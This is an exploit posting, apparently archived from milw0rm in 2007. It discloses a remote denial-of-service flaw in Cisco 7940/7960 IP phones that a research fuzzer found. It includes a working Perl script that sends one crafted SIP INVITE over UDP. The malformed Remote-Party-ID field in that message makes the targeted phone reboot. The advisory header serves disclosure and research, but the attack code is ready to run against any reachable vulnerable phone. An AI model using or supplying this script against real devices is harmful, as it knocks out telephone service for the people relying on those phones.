Cisco Phone 7940/7960 - 'SIP INVITE' Remote Denial of Service

#!/usr/bin/perl
# Title: Cisco 7940 SIP INVITE remote DOS
# Date: February 19, 2007
# ID: KIPH2
#
# Synopsis: After sending a cra fted INVITE message the device immediately
# reboots. The phone does not check properly the sipURI field of the
# Remote-Party-ID in the message.
#
# The vendor was informed and acknowledged the vulnerability. This
# vulnerability was identified by the Madynes research team at INRIA
# Lorraine, using the Madynes VoIP fuzzer.
#
# Background: SIP is the IETF standardized (RFCs 2543 and 3261) protocol
# for VoIP signalization. SIP is an ASCII based INVITE message is used to
# initiate and maintain a communication session.
#
# Affected devices: Cisco phone 7940/7960 running firmware P0S3-07-4-00
#
# Unaffected: devices running firmware POS8-6-0
#
# Description: After receiving one crafted SIP INVITE message, the
# affected device reboots immediately. The proof of concept code can be
# used to demonstrate the vulnerability.
#
# Resolution:
#
# Fixed software is available from the vendor and customers following
# recommended best practices (ie segregating VOIP traffic from data) will
# be protected from malicious traffic in most situations.
#
# Credits:
#
# Humberto J. Abdelnur (Ph.D Student)
#
# Radu State (Ph.D)
#
# Olivier Festor (Ph.D)
#
# This vulnerability was identified by the Madynes research team at INRIA
#
# Lorraine, using the Madynes VoIP fuzzer.
#
# http://madynes.loria.fr/

use IO::Socket::INET;

die "Usage $0 <dst> <port> <username>" unless ($ARGV[2]);


$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],

Proto=>'udp',

PeerAddr=>$ARGV[0]);


$msg="INVITE sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP
192.168.1.2;branch=z9hG4jk\r\nFrom: sip:chirimolla
\@192.168.1.2;tag=qwzng\r\nTo: <sip:$ARGV[2]\@$ARGV[0];user=ip>\r
\nCall-ID: fosforito\@192.168.1.1\r\nCSeq: 921 INVITE\r
\nRemote-Party-ID: csip:7940-1\@192.168.\xd1.7\r\n\r\n";

$socket->send($msg);

# milw0rm.com [2007-03-20]